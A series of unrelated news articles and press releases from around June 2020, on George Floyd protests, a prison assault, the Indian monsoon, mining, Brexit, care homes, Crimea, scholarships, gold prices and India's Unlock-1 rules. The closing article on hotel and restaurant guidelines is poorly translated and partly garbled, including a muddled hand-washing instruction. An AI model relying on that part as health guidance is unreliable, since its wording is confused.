CLEVELAND, June 5, 2020 /PRNewswire/ -- One hundred five years ago in Cleveland, Ohio, Karamu House began as the Playhouse Settlement  a safe place that provided community resources, connected and empowered families, and allowed people to reach their highest potential through the vehicle of arts experiences. Today, Karamu stands strong as a convening place for all people and a voice that continues to amplify, celebrate, and honor the African American experience. The recent murders of Black, American citizens at the hands of law enforcement, sworn to protect and serve, reflects a new low in the calamitous state of the Black experience in America.

Martin Luther King, Jr. visiting Karamu House Performance of Black Nativity at Karamu House (December 2019), Photo by Kayla Lupean

We should all be outraged.

America, the beneficiary of hundreds of years of stolen Black labor, from the plantation cotton fields to the prison industrial complex, has failed its Black citizens. America increasingly demonstrates its devaluation of black and brown bodies and illuminates the fact that we aren't safe in the streets, in our cars, or even at home in our own beds.

This is not okay. We are not okay.

Karamu House acknowledges that the fight to end racism continues. The fight to dismantle the institution of white supremacy continues. We stand strong as a cultural arts institution ready to call out apathy, ready to call out trite demonstrations disguised as all-ism, ready to affect real change and empower the people to take the same just stand.

On Juneteenth, Friday, June 19, 2020, the commemoration of the ending of slavery in the U.S., Karamu House will debut "Freedom on Juneteenth," a program to feature musicians and vocalists, spoken word artists, and dancers, as they too, respond to the recent murders of Black Americans through their respective art forms. The program, to air at 7PM EST/4 PM PST on local television stations, various streaming platforms, and social media, will also include live dialogue and conversation, with accessible resources in order to create change within our communities.

The "Freedom on Juneteenth" program is designed to celebrate, educate, heal and activate our communities. Audiences will be invited and encouraged to utilize the shared resources and to transform anger, disgust and frustration into decisive ballot responses in November, especially within local elections. Karamu House seeks to help educate all people on the political process and remind America that lawmakers serve at the pleasure of the people. As Tony F. Sias, President & CEO, says, "We will no longer be pacified by well-wishes and hopes for justice. We are the change we have been waiting on. The question is: what will we do differently this time, and how will you activate your power?"

Additional details about Karamu House's all-access, virtual Juneteenth event will be available on its website and social media platforms.

About Karamu House

Recognized as the oldest African American performing arts institute in the nation, Karamu House is listed on the U.S. National Register of Historic Places and featured in the Smithsonian's African-American Museum. Legendary artists including Langston Hughes, Ruby Dee, Robert Guillaume, Ron O'Neal, Bill Cobbs, James Pickens, Jr., Vanessa Bell Calloway and Imani Hakim have been associated with the 104-year old "place of joyful gathering" (the meaning of "Karamu" in Swahili.)

In 1915, Oberlin College graduates Russell and Rowena Jelliffe opened the Playhouse Settlement in an area called Cleveland's "Roaring Third." The Jelliffes wanted to build an environment where people of different races, religions, and socio-economic backgrounds could come together to share common ventures through the arts. Karamu was established as a gathering place for racially diverse members of the surrounding community at that time. Today, Karamu is a beating heart for the entire community, regardless of race, ethnicity, sexual orientation, gender identification, or age. Core programs include socially relevant and professional quality theatre; arts education programming for all ages; and community programming, such as comedy, live jazz, and spoken word performances, that invites participation and engagement, reflection, and a re-commitment to cultural values.

For more information, visit www.karamuhouse.org.

MEDIA CONTACT

Ann Barnett

[email protected]

330-687-8385

SOURCE Karamu House
A demonstrator kneels in front of a line of police officers as smoke drifts in the air during a protest over the death of George Floyd, near the White House in Washington on June 1, 2020. (AP Photo/Evan Vucci)

A Peaceful Society Is Dependent on Trust in Police

Commentary

To be a police officer is to hold an important office of public trust, as the powers bestowed on the police are second to none. No other person or office is entrusted with the legal authority to use force and to suspend a persons freedom in the pursuit of justice. As is presently being seen in the United States, if that trust is broken, then the mission is lost and chaos reigns.

Policing is a relatively young profession. It was born in London in the early 19th century as a response to the increase in crime associated with the population explosion of the Industrial Revolution. The previous law-enforcement system of the hue and cry, which was entirely dependent on untrained citizen volunteers, was no longer sufficient so legislators sought to devise a new one.

It is useful to remember that despite the pressing need for professional policing, it was born in controversy nonetheless. When the idea was first presented a few decades earlier, it was deeply unpopular and was eventually abandoned. After everything British subjects had achieved in terms of individual rights and limits to state power, the last thing they wanted was an armed military presence in their cities, which is how it was perceived by many.

In the end, these legitimate concerns helped shape professional policing. Sir Robert Peel, as Secretary of State for the Home Department, created the Metropolitan Police in London, and it was to be governed by what is known as Peels Principles, which were designed to garner public approval.

Four of these principles are as follows:

The ability of the police to perform their duties is dependent upon public approval of police actions.

The degree of cooperation of the public that can be secured diminishes proportionately to the necessity of the use of physical force.

Police, at all times, should maintain a relationship with the public that gives reality to the historic tradition that the police are the public and the public are the police, the police being only members of the public who are paid to give full-time attention to duties that are incumbent on every citizen in the interests of community welfare and existence.

Police should always direct their action strictly toward their functions and never appear to usurp the powers of the judiciary.

It is quite clear here that while the mandate of police officers is to apprehend criminals, it is also to maintain the peace by building and maintaining the trust and cooperation of the public. Furthermore, it is noteworthy that throughout Canadian law, police officers are referred to as peace officers, and that in Quebecs Police Act as well as in Ontarios Police Services Act, the first duty of officers is described as preserving the peace.

It takes only a brief analysis of the death of George Floyd at the hands of a Minneapolis police officer to conclude that the officer horribly violated these principles. It should also be noted that there is a remarkable level of unanimity regarding his actions. A defence of his actions has yet to be offered, even from his union. He was duly arrested and charged, and his prosecution awaits.

Unfortunately, the unanimous condemnation of the officers actions and the swift steps toward justice have done little to keep cities from burning. The victims of these riots are many, and the violence, destruction, and loss of life are truly devasting. And as police precincts are set ablaze, the list of victims who will never see justice only gets longer, as their cases go up in smoke and as their aggressors are more likely to go free due to insufficient evidence.

Contrary to what some may believe, the police duty to build and maintain public trust does not solely lie with communication and prevention officers; it lies with every single officer. The evidence is right before our eyes; one officer committed an egregious act, and it ignited the already simmering anger that resulted in the burning of a nation, and it set police-public relations in that country back by possibly a generation.

In a free society, the trust bestowed on police is both precious and delicate, and it is imperative that every officer, and that every aspiring officer, properly understands this, because the manner in which this trust is handled can serve to either build or destroy peaceful society itself.

Kevin Richard is a freelance writer with a professional and educational background in policing and criminal justice. His articles have appeared in various publications, including The Montreal Gazette, Ottawa Citizen, Sherbrooke Record, La Presse Plus, and HuffPost Quebec.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
Welcome to the CUInsight Minute, sixty seconds from our Publisher & CEO Lauren Culp with the top three of our favorite things from the week.

Mentioned this week:

What protests teach us

by MAURICE SMITH, LOCAL GOVERNMENT FEDERAL CREDIT UNION AND CIVIC FEDERAL CREDIT UNION

The recent protests taking place around the country over the death of George Floyd is an opportunity to learn important lessons. We should ask ourselves what should be learned from the social turbulence. I have an opinion or two on the matter. (read more)

Commitment to Change  AACUCs charge to the credit union industry

by RENEE SATTIEWHITE, AFRICAN-AMERICAN CREDIT UNION COALITION (AACUC)

In this time of turmoil, civil unrest, economic uncertainty, COVID-19 and the relentless images we see on media outlets, we must take a step back. I am not a scholar, but I am a woman living in the United States of America. I offer the following comments as a citizen of the United States and a credit union advocate. (read more)

Listening to understand

by RANDALL SMITH, CUINSIGHT.COM

A few weeks back I was doing a morning meditation on Insight Timer (thank you to Leo Ardine for the referral). During a 30 day meditation (that Jill recommended) there was a course on listening. This resonated with me. Not because Im a good listener, but because it is something I struggle with. The idea was listening to understand and not listening to respond. (read more)
The former boss of the notorious Brothers 4 Life crime gang has been charged over a violent prison assault in which he allegedly used a shiv to attack a fellow hardcore inmate.

Farhad Qaumi, 37, and Abuzar Sultani, 31, were in an exercise yard within Australia's most secure prison - Goulburn Supermax - on May 20 when the older man attacked.

Qaumi allegedly slashed his fellow prisoner across the face and neck with the blade.

The former leader of the Blacktown chapter of Brothers 4 Life is serving a 60-year jail sentence for a string of violent crimes, including the 2013 murder of Sydney dad Joe Antoun.

Daily Mail Australia understands prison officers rushed to the exercise area and were able to separate the men, before allegedly finding two gaol-made weapons nearby.

Farhad Qaumi (pictured), the former boss of the notorious Brothers 4 Life crime gang, has been charged over a violent prison assault in which he allegedly used a shiv to attack fellow hardcore inmate Abu Sultani

Sultani (pictured) suffered cuts to his neck and face during the alleged assault in an exercise yard at Goulburn Supermax - Australia's highest security prison - on the morning of May 20

After investigating the incident for two weeks, NSW Police charged Qaumi with four offences on Thursday.

A NSW Police spokesperson said Qaumi had now been charged with wounding with intent to cause grievous bodily harm, reckless grievous bodily harm, assault occasioning actual bodily harm and armed with intent commit indictable offence.

'It's alleged the fight between the men - aged 31 and 37 - occurred in a multi-purpose room about 9.15am on Wednesday 20 May 2020,' a NSW Police spokeswoman said.

'The pair were separated by Correctives Services officers and during a subsequent search of the men, two gaol-made weapons were located and seized.

'The younger man sustained lacerations to his face and neck, while they older man was not injured.

'Both were treated by on-site medical staff.'

Sultani is a former MBA student turned Rebels OMCG bikie.

Qaumi was jailed for at least 43 years for a 'violent underworld rampage' throughout Sydney's west in 2013 involving his two brothers and Brothers 4 Life gang members.

Those crimes included the murder of Antoun - who was shot five times after opening the front door to his home, with his daughters just inside - and the manslaughter of Mumtaz Qaumi, 32.

It is understood Qaumi allegedly attacked in a yard like this one, which is attached to a cell in the Supermax prison

Supermax presents a sterile environment which more resembles a secure mental hospital than a typical Australian jail. Since it opened in September 2001 there have been no escapes

The High Risk Management Correctional Centre sits within the Goulburn prison complex. It may be the country's most secure prison but it is on the doorstep of houses and farming land

Describing the violence as 'outlandish and lawless', Justice Peter Hamill also jailed his brothers Mumtaz, 32, for at least 36 years and Jamil, 25, for at least 21 years for their role in some of the crimes.

Corrective Services NSW said Qaumi and Sultani were the only two inmates inside the multi-purpose room at the time, as is procedure.

Qaumi will face Goulburn Local Court on Wednesday, August 12.

The violent fight comes less than two years after a similar brawl between Brothers 4 Life founder Bassam Hamzy and convicted terrorist Talal Alameddine in an exercise yard of the high-security wing.
Bengaluru, June 5 : The much awaited Southwest Monsoon entered Karnataka with widespread rain in coastal and central regions of the southern state, an official said on Friday. Rain and thundershowers are likely to occur at most places over coastal areas and at a few places over the interior parts over the next 24-48 hours.

"The southwest monsoon entered the state on Thursday as predicted from Kerala and the Arabian Sea, with moderate to heavy rainfall in the coastal districts and central or Malnad region of the state," Karnataka State Natural Disaster Monitoring Centre Director Srinivas Reddy told IANS here.

Though the monsoon has set in on time in the state, Reddy said its progress was likely to be slow in the next three days, as cyclone Nisarga induced high-speed winds took away rain-bearing clouds from the southern peninsula.

According to the regional meteorological office, Karwar in Uttar Kannada district received a whopping 15cm rainfall on Thursday, followed by 11cm each at Kundapur in Udupi district and Shivamogga in Malnad region.

Kadra and Gersoppa in Uttara Kannada and Kottigehara in Chikkamagaluru district had 10cm rainfall, followed by 8cm at Virajpet in Kodagu district and 7cm each at Shirali and Gokarana in Uttara Kannda.

Isolated to scattered rainfall also occurred in many places across the north and south interior regions of the state.

"The monsoon will advance in the state to south and north interior areas after June 8 as there is lull in its movement due to lack of rain-bearing clouds and winds to carry them," said Reddy.

Noting that the four-month monsoon from June to September, crucial to the rain-dependent state would be normal this year, Reddy said its progress and spread, however, would depend on various factors like cloud formations and wind movements.

"Conditions are likely to become favourable for monsoon advancement in the state over the next 2-3 days," asserted Reddy.

-- The story has been published from a wire feed without any modifications to the text
Sierra Metals Inc. (TSX: SMT) (BVL: SMT) (NYSE AMERICAN: SMTS) ("Sierra Metals" or "the Company") announces that the Peruvian Government has activated phase two of its economic recovery plan effective June 5, 2020. Phase two includes mining and mining-related activities in Peru. The Company will begin to recall required furloughed employees and contractors and will start to progressively ramp the mine operations back up to full capacity.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200605005088/en/

Yauricocha Mine, Peru (Photo: Business Wire)

In Mexico, the Government deemed mining an essential service effective June 1, 2020, as previously discussed in the May 25, 2020 press release. The Company has recalled employees from the Bolivar Mines to enter a COVID-19 screening process, allowing the Company to control the risk of new infections and contamination at the mine. The Cusi Mine remains in care and maintenance for the time being, and management continues to evaluate the best path forward to complete needed development and to reach throughput targets.

The Company continues to focus on the health, safety, and well-being of its workforce. All employees recalled and reporting for duty will complete a testing and screening process, including a quarantine period before they can join the active workforce at both the Yauricocha and Bolivar Mines. Daily monitoring also continues for all employees while working at the mines. The Company is doing everything it can to protect its employees and take care of their families while protecting our active workforces to prevent any labour disruptions at the mines.

Luis Marchese, CEO of Sierra Metals, stated: "I am very pleased that we are now in a position to ramp-up our Yauricocha Mine to normal levels with the prescribed health protocols and guidelines from the Government. It is important to highlight that our Yauricocha Mine has the operational flexibility to recover some of the lost production during the COVID-19 state of emergency. We will continue emphasizing the health and well-being of our employees and of the communities in which we operate as we normalize operations."

About Sierra Metals

Sierra Metals is a Canadian based growing polymetallic mining company with production from its Yauricocha Mine in Peru, and it's Bolivar and Cusi Mines in Mexico. The Company is focused on increasing production volume and growing mineral resources. Sierra Metals has recently had several new discoveries and still has additional brownfield exploration opportunities at all three mines in Peru and Mexico that are within or close proximity to the existing mines. Additionally, the Company has large land packages at all three mines with several prospective regional targets providing longer-term exploration upside and mineral resource growth potential.

The common shares of the Company are listed and posted for trading on the Bolsa de Valores de Lima and on the Toronto Stock Exchange under the symbol "SMT" and on the NYSE American Exchange under the symbol "SMTS".

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Forward-Looking Statements

This press release contains "forward-looking information" and "forward-looking statements" within the meaning of Canadian and U.S. securities laws (collectively, "forward-looking information"). Forward-looking information includes, but is not limited to, statements with respect to the date of the 2020 Shareholders' Meeting and the anticipated filing of the Compensation Disclosure. Any statements that express or involve discussions with respect to predictions, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance (often, but not always, using words or phrases such as "expects", "anticipates", "plans", "projects", "estimates", "assumes", "intends", "strategy", "goals", "objectives", "potential" or variations thereof, or stating that certain actions, events or results "may", "could", "would", "might" or "will" be taken, occur or be achieved, or the negative of any of these terms and similar expressions) are not statements of historical fact and may be forward-looking information.

Forward-looking information is subject to a variety of risks and uncertainties, which could cause actual events or results to differ from those reflected in the forward-looking information, including, without limitation, the risks described under the heading "Risk Factors" in the Company's annual information form dated March 30, 2020 for its fiscal year ended December 31, 2019 and other risks identified in the Company's filings with Canadian securities regulators and the United States Securities and Exchange Commission, which filings are available at www.sedar.com and www.sec.gov, respectively.

The risk factors referred to above are not an exhaustive list of the factors that may affect any of the Company's forward-looking information. Forward-looking information includes statements about the future and is inherently uncertain, and the Company's actual achievements or other future events or conditions may differ materially from those reflected in the forward-looking information due to a variety of risks, uncertainties and other factors. The Company's statements containing forward-looking information are based on the beliefs, expectations and opinions of management on the date the statements are made, and the Company does not assume any obligation to update such forward-looking information if circumstances or management's beliefs, expectations or opinions should change, other than as required by applicable law. For the reasons set forth above, one should not place undue reliance on forward-looking information.

View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005088/en/

Contacts:

Mike McAllister, CPIR

VP, Investor Relations

+1 (416) 366-7777

info@sierrametals.com
Business will not support any further delay to the Brexit process, the head of the Confederation of British Industry warned.

Dame Carolyn Fairbairn, director-general of the leading industry body, said business now wants to get on with leaving the EU even if it risks exiting without a trade deal at the end of this year.

The CBI opposed Brexit and has previously voiced support for a longer transition, which could theoretically be extended until the end of 2022.

Dame Carolyn told BBC Radio 4 this morning that there will be 'dire consequences' if the government doesn't make a trade deal with the EU or extend the transition period.

Dame Carolyn Fairbairn (pictured), director-general of the Confederation of British Industry, said the body will not support further delays to the Brexit process. Pictured: Speaking at the CBI annual conference at the InterContinental Hotel in London in November 2019

She said this morning: 'The resillience of British business is absolutely on the floor.

'Every penny of cash that had been stored up to prepare for Brexit, all of the stockpiles that were put in place last year, they've all been run down, and the firms I speak to actually haven't got a moment of spare thinking time to plan for a no deal Brexit at the end of the year.'

A government spokesperson said the UK wanted to reach an agreement with the EU this year.

When the option to extend the transition was negotiated in 2018, the CBI welcomed it, saying it might make a deal 'easier to agree'.

But Dame Carolyn told the BBC's Newsnight that business leaders now want an end to the uncertainty.

A government spokesperson said the UK wanted to reach an agreement with the EU this year

'We have left the EU politically,' she said. 'We do now need to leave the EU economically.

'Business does not have any interest in delaying that because that is uncertainty magnified.

'Most businesses  not all, but most  still recognise the importance of getting to a conclusion.'

Dame Carolyn said the devastating economic impact of coronavirus meant it was now even more important that the two sides strike a deal.

She added: 'Both sides need to recognise we are going to be dealing with unemployment on a scale not seen since the 1980s.

'Every job will be vital and a good Brexit deal is vital to that.'

A government spokesperson said: 'We've been clear that we want to reach an agreement with the EU this year and we are prepared to work hard to accelerate talks.

'This was what both sides agreed to in the political declaration.

'If we don't negotiate a Canada-style FTA [free trade agreement], we'll leave with an Australia-style relationship.

'Whatever happens we will be leaving the single market and customs union at the end of this year.

'We have taken unprecedented action to support businesses through this pandemic and to ensure the UK's economic recovery is as strong and as swift as possible.

'Extending the transition period would simply prolong the negotiations and create more uncertainty for businesses.'
The Department of Health was slow to respond to concerns raised about the impact of Covid-19 in care homes in Northern Ireland, it has been claimed.

The Commissioner for Older People has also said he believes officials prioritised hospitals over care homes ahead of the coronavirus pandemic hitting the region.

Eddie Lynch appeared at the Stormont health committee yesterday, where he described efforts to secure support for care homes from officials as an "uphill battle".

He also said the delay in action resulted in the virus taking hold in care homes.

"In terms of actions of the department, I have to be honest and say much of the advice myself and my team gave wasn't taken on board," he said.

Mr Lynch also expressed frustration at the length of time private care home providers are given to address failings when they fail to meet basic safety standards.

"I think one of the most disturbing aspects of my investigation was, for me, the number of chances the care home had to fix what were quite serious failures of care," he said.

"It isn't enough to have months and months go by before management fix homes."

Mr Lynch is the author of the Home Truths report, which was released in June 2018 and detailed the devastating findings of his investigation into the facility formerly known as Dunmurry Manor.

His probe uncovered a litany of harrowing neglect and abuse of residents at the home, which has since been renamed Oak Tree Manor and is owned by Runwood Homes.

The firm also owns Clifton Nursing Home in north Belfast, where nine residents have died with Covid-19.

Authorities have come under fire after it emerged that the home repeatedly failed to meet basic infection control regulations for more than a year in the run-up to the pandemic.

Referring to the problems experienced at Clifton Nursing Home, Mr Lynch said: "What happened in Dunmurry Manor, unfortunately some of the stories that are coming out of Clifton Nursing Home in the past couple of weeks have been depressingly similar for myself and my team. A lot of the issues were uncovered in Dunmurry Manor."

Mr Lynch was asked to give his assessment on the preparations made by the Department of Health and the support offered to care homes in advance of the pandemic.

He told the committee it was clear from the experience of other countries that care homes would be particularly vulnerable to the virus.

"We knew that people in care homes were very much at risk if the virus got in there," he explained.

He said officials were "clearly slow in moving to protect" care homes and this "has led to an increase in infection".

"There is not an inevitability about victims in care homes by coronavirus, but we have to learn the lessons of what has happened in previous weeks and months," he added.

Mr Lynch was challenged over his claims that officials prioritised hospitals over care homes ahead of the pandemic by the Health Minister's UUP colleague Alan Chambers.

The North Down MLA put it to Mr Lynch that clearing out hospital wards was a way of ensuring there would be adequate capacity in the event of a spike in virus patients.

Mr Chambers said as elderly people would be more likely to require hospital treatment if they fell ill with Covid-19, they would be the group of people who would benefit most from the measure.

Mr Lynch said: "It was quite right for the authorities to make sure that our health system was geared up as much as possible, and indeed the messages were going out to society about the steps that we could take to ease that pressure on the system.

"But nevertheless, I don't believe it was one or the other, I think we have to view our social care setting as part of the overall health system as well, so whilst it was quite right to get our health in acute settings as best prepared as possible, it was also equally clear of the real threat to older people in care home settings, so I think it wasn't one or the other.

"I think it was clearly outlined to the department that this was very vulnerable, the stats showed it and there needed to be more protection put in place at an earlier stage."
Ukraine calls on OSCE High Commissioner on National Minorities Lamberto Zannier to focus on the plight of people living in the temporarily occupied territories of Crimea and Donbas.

"We call on the High Commissioner on National Minorities to respond to the plight of people living in the occupied territories of Crimea and Donbas in cooperation with the SMM which monitors the situation there in accordance with its mandate," Permanent Representative of Ukraine to the International Organizations in Vienna Yevhenii Tsymbaliuk said during an online meeting of the OSCE Permanent Council on Thursday, June 4, an Ukrinform correspondent reported.

The Ukrainian diplomat noted that human rights activists and international organizations, including the United Nations, reported that Russia was trying to change the demographics of the occupied Crimea by encouraging its population to move to the occupied peninsula. About 500,000 Russians have moved to Crimea since the beginning of the occupation, while at least 43,000 Crimeans have left the peninsula.

At the same time, Ukrainians and Crimean Tatars living on the peninsula are subjected to systematic repression, serious human rights violations, and discrimination. In particular, the occupying power deprives Crimeans of the right to get education in their native language.

In addition, the occupying authorities continue to actively persecute Crimeans for political reasons - more than 100 Ukrainian citizens, most of whom are Crimean Tatars, have been illegally detained in Russia and the temporarily occupied Crimea.

"The number of violations of the freedom of religion and the right to peaceful assembly has increased significantly over the [past] year. The Russian border guards in the occupied Crimea arbitrarily detain activists who cross the administrative border between Crimea and mainland Ukraine and trying to force Ukrainian citizens to agree to secret cooperation with the Russian authorities," the Permanent Representative of Ukraine to the International Organizations in Vienna said.

He noted that this happened against the background of Russia's disregard for the ICJs order on provisional measures to resume the activities of the Mejlis and education in the Ukrainian language in Crimea.

In addition, the Ukrainian ambassador called on the OSCE High Commissioner on National Minorities to pay attention to the situation in the temporarily occupied territories of Donbas.

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BETHEL  Despite postponement of a vigil due to coronavirus concerns, about 60 people gathered in front of the library to protest systemic racism.

The group, which included a baby in a stroller, held signs that said Justice now and Rest in power George Floyd while drivers honked their horns in support. One woman put a Black Lives Matter sign on her dog.

Thousands of people have protested locally and nationwide after Floyd died when a white Minneapolis cop pressed his knee on the black mans neck for more than eight minutes. The former officer, Derek Chauvin, has been charged with second-degree murder and the three other officers were charged with aiding and abetting a murder.

Marcus Willis, who came from Torrington for the protest, said he and other minorities often fear the police because of the way they have been historically treated and killed by cops.

Ive had the experience of being pulled over and being terrified because I dont know whats going to happen, said Willis, who is black.

Several police cars were parked or driving around the area during the protest, with one officer standing and talking to a protester, who held a balloon that had Enough on one side and the letters BLM  for Black Lives Matter  on the other.

Protesters occasionally shouted Hands up, dont shoot or No justice, no peace, no racist police. Everyone wore masks. There were about 30 people at the protest before 7 p.m., but the size doubled by around 8:45 p.m.

Some protesters said they were disappointed the candlelight vigil that had been planned on the town hall lawn was postponed due concerns from the first selectman that a large crowd could lead to a spike in coronavirus cases.

Bethel resident Kaci Pomeroy, 19, said she posted on Facebook about meeting at the library, not knowing how many people would show up.

She is white and said she wanted to use her privilege to stand against racism and push for change.

Im tired of my friends fearing for their lives, Pomeroy said. Im tired of the oppression of the broken system that people of color face literally every day. Because I dont have to fear for my life when Im yelling and screaming about the things I care about, thats why I use my privilege the way I do to advocate for the black community.

State Rep. Raghib Allie-Brennan, D-Bethel, who had organized the vigil with the first selectman but disagreed with its postponement, attended the protest.

Im hoping people find the outlet they need to express themselves, said Allie-Brennan, who held a sign that read, Hate has no home here.

Another protest is planned for noon Sunday, where organizers plan to meet at the Doughboy Statue and sit or stand on Greenwood Avenue.

First Selectman Matt Knickerbocker said he wants to hold discussions virtually and has been talking to the police captain about how to safely hold an in-person event at another space.

Our police officers are very much in agreement that people need a safe means of expressing their grief over what happened to Mr. Floyd in Minnesota, as well as express their views about racial injustice in our country, he said. I am 100 percent committed to that goal.

Knickerbocker came to the event later in the evening, Allie-Brennan said.

What Knickerbocker described as minor vandalism occurred on the municipal center Tuesday night into Wednesday morning. The phrases Black Lives Matter, No justice, no peace and the No. 12 with a slash through it were painted on the floor of the gazebo. The letters BLM were also painted on the side of town hall.

The phrases on the gazebo were painted over, while the letters on town hall were painted in red over red brick, so they are difficult to see, Knickerbocker said. Police have possible suspects in mind from video surveillance, he said.

The vandalism and some violence that has occurred in cities nationwide were not a factor in postponing, Knickerbocker said.

Violence was not one of my concerns in our town, he said.

Outdoor religious gatherings are permitted to have up to 150 people, but Knickerbocker expected more than that after similar events in Danbury and Wilton exceeded predicted crowd size.

As an elected official who has worked steadfastly to adhere to all of the governors executive orders and follow the advice and guidance of the scientists, I felt I had to take this step, he said.

Willis said he hopes the local and nationwide activism help people to better understand institutionalized racism.

I hope people become more aware, he said. Not to say that people arent aware, but some people need to wake up.
The Texas Medical Association plans to support 15 minority students with $10,000 scholarships as they begin their education at Texas medical schools this fall. One recipient has lived in Katy for 20 years.

Sally Acebo received a masters degree in biomedical sciences from the University of North Texas Health Science Center in 2018. She also holds an undergraduate degree in chemistry from the University of St. Thomas in Houston. She lives in Katy because she said she loves the close-knit and friendly atmosphere.

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Set to pursue her medical career at Sam Houston University College of Osteopathic Medicine in Huntsville, Acebo plans to become a pediatrician, treating children in a rural area of Texas.

Im ecstatic to develop the foundational skills to become a physician who prioritizes patient-centered care while mastering the principles of osteopathic medicine to better serve Texas, Acebo said. Im also excited to be a student pioneer in the inaugural class for Sam Houston State University College of Osteopathic Medicine.

The recipients were chosen for their academic achievement, diligence in community service and their desire to take care of Texas diverse population.

The scholarships come amid challenging times for the medical field, with an increasing need for physicians and health care workers, as shown in the COVID-19 pandemic. But two new Texas medical schools opened during the past year.

Related: Katy ISD superintendent discusses fall sports, instruction

Brent Annear, director of media and public relations at TMA, said watching the scholarship students grow and progress has been a great experience.

Im reminded of one TMA Minority Scholarship recipient I got to know when she was a first-year medical student, who I met because she became a leader at her medical school, Annear said. She just graduated, and now shes an MD. She is starting her residency. One day soon shell be an independently practicing physician caring for Texas patients, fulfilling her dreams and serving others.

TMA started the Minority Scholarship Program in 1998 to bring more diversity to the physician workforce in order to better care for Texans health care needs. Since then, $967,500 has been dispersed over 148 scholarships, according to a news release.

Related: More than 80 Katy ISD 2020 graduates ready to join military

Because the TMA Educational Scholarship, Loan and Awards Committee chooses one student starting at each Texas medical school, the field is competitive. The cost of a medical education averages more than $175,000, so the scholarship encourages minority students to pursue that route by lessening their financial burden, the release stated.

The scholarship program is funded by the TMA Foundation, which is the associations philanthropic branch. Scholarship recipients are referred to as Bayardo Scholars from the TMA Foundation Trust Fund of Roberto J. Bayardo MD, and the late Agniela (Annie) M. Bayardo of Houston. The fund provides the majority support for the scholarships.

Being named a Bayardo Scholar is a true honor as it recognizes my academic achievements and commitment to volunteerism, Acebo said. This humbling honor supports minority medical students like myself and promotes diversity in the physician workforce as we work together to care for Texas.

tracy.maness@hcnonline.com
Gold prices slipped Rs 71 to Rs 46,696 per 10 gram in the Mumbai bullion market on June 5 tracking weak global cues and ahead of US non-farm payrolls data. The metal was down Rs 233, or 0.49 percent, for the week.

Investment in gold ETF jumped by 154 tonnes in May to a new record high of 3,510 tonnes, according to the World Gold Council. The year-to-date inflow in ETF now stands at 623 tonnes, surpassing the previous highest inflow of 591 tonnes in 2009.

The rate of 10 gram 22-carat gold in Mumbai was Rs 42,774 plus 3 percent GST, while 24-carat 10 gram was Rs 46,696 plus GST. The 18-carat gold quoted at Rs 35,134 plus GST in the retail market.

Ravindra Rao, VP-Head Commodity Research at Kotak Securities said gold prices were trading 0.8 percent lower near $1,714/oz as European indices traded with a positive bias tracking cues from Asian indices while Dow futures were up nearly 300 points.

Market sentiment seems to have been buoyed amid recent flood of government stimulus. In Euro Zone, ECB on June 4 expanded its stimulus more than expected to revive growth in the region.

Global risk appetite also seems to be supported by growing optimism over economic recovery as many nations lift lockdowns following a decline in the pace of infections.

The US employment data expected later in the day will be watched closely. If it is worse than expected, it can reverse golds current downside.

The broader trend on COMEX could be in the range of $1,695-1,725 and on the domestic front, prices could hover in the Rs 46,100-46,850 bracket, Navneet Damani, Vice President, Motilal Oswal, said.

The gold/silver ratio stands at 97.69 to 1, which means the amount of silver required to buy an ounce of gold.

Silver prices fell Rs 130 to Rs 47,800 per kg from its closing on June 4.

In the futures market, gold touched an intraday high of Rs 46,557 and an intraday low of Rs 46,260 on the Multi-Commodity Exchange (MCX).

For the August series, the yellow metal touched a low of Rs 39,200 and a high of Rs 48,190.

Gold futures for August delivery eased Rs 406, or 0.87 percent, at Rs 46,290 per 10 gram in evening trade on a business turnover of 14,288 lots.

The same for October delivery slipped by Rs 369, or 0.79 percent, to Rs 46,445 on a business turnover of 5,442 lots.

The value of the August and October contracts traded so far is Rs 2,539.28 crore and Rs 66.52 crore, respectively.

Similarly, Gold Mini contract for July was down Rs 398, or 0.93 percent, at Rs 46,216 on a business turnover of 9,529 lots.

MCX Gold is trading in a range for the session, with support placed at Rs 46,030 whereas resistance is at Rs 46,660, according to Motilal Oswal.

The broking firm said spot gold had support at $1,695-1,690 and resistance at the $1,715-1,725 level.

At 1216 GMT, spot gold was down by $12.79 at $1,701.36 an ounce in London trading.
File Photo

The country is slowly reopening after the lockdown caused by the corona virus. From June 8, hotels, restaurants and places of worship will be open to the public. But to get here you have to follow the rules. The Central Government has issued guidelines for this.

It may be recalled that the Home Ministry had allowed the opening of shrines, malls, restaurants and hotels in the rest of the country except the containment zone. Under Unlock-1, the government has allowed these places to open from June 8.

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As per the guidelines issued by the Ministry of Health for the hotel:

- Sanitary and thermal screening will be required at the entrance.

- Only asymptomatic staff and guests will be allowed in the hotel. During this time, everyone will need to wear a face mask.

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- Staff and guests will be required to wear masks as long as they stay at the hotel.

- Necessary staff will be deployed by the hotel management to ensure social distance.

- Employees will have to wear gloves and take other necessary precautionary measures.

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- All employees, especially senior employees, pregnant employees must take extra precautions. Efforts should be made to ensure that such employees do not come into direct contact with the public.

Photo- Wherever possible, hotel management should emphasize the convenience of working from home.

- Appropriate crowd management in the hotel as well as outdoor spaces such as parking will be ensured by proper adherence to the rules of social distance.

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- Most people are not allowed to gather. - Will work with vault parking, staff wear/masks and gloves if available.

- Vehicle steering, door handles, keys, etc. should be sanitized.

- There should be separate entry and exit arrangements for guests, staff and items. There should be a distance of at least 6 feet between the people waiting in line to enter the hotel.

- The number of people in the elevator should be limited. So that social distances can be followed.

- The ID or self-declaration along with the guest or information should be provided by the guest at the reception.

Photo- After filling out the form, the guest will have to clean their hands.

- QR code, online form, digital payment will be required for check in and check out.

- Before sending guests to the same rooms, they must be disinfected.

- Pregnant and elderly guests should be extra careful.

- The guest coming from the containment zone should be advised not to stop.

Rules and Regulations for restaurants

- The restaurant should have seating arrangements so that social distances can be observed.

- It is recommended to use the disposable menu.

- The use of good quality disposable paper napkins instead of cloth napkins should be encouraged.

- Use digital payments as much as possible.

File Photo- Social distances must be observed during Buffett's service.

- Instead of eating in restaurants, the emphasis should be on takeaways.

- The employee will be thermally inspected by the hotel authorities before handing over the house.

- In the kitchen, staffs have to follow social distances.

The kitchen has to be disinfected at regular intervals.

Other rules are as follows:

- People over 65 and under 10 are not allowed to visit these places.

- Sanitary and thermal screening will be required at the entrances of temples.

Photo- These places must be at least 6 feet apart.

- It is best to clean your hands for at least 20 seconds with soap or sanitizers for 40 seconds.

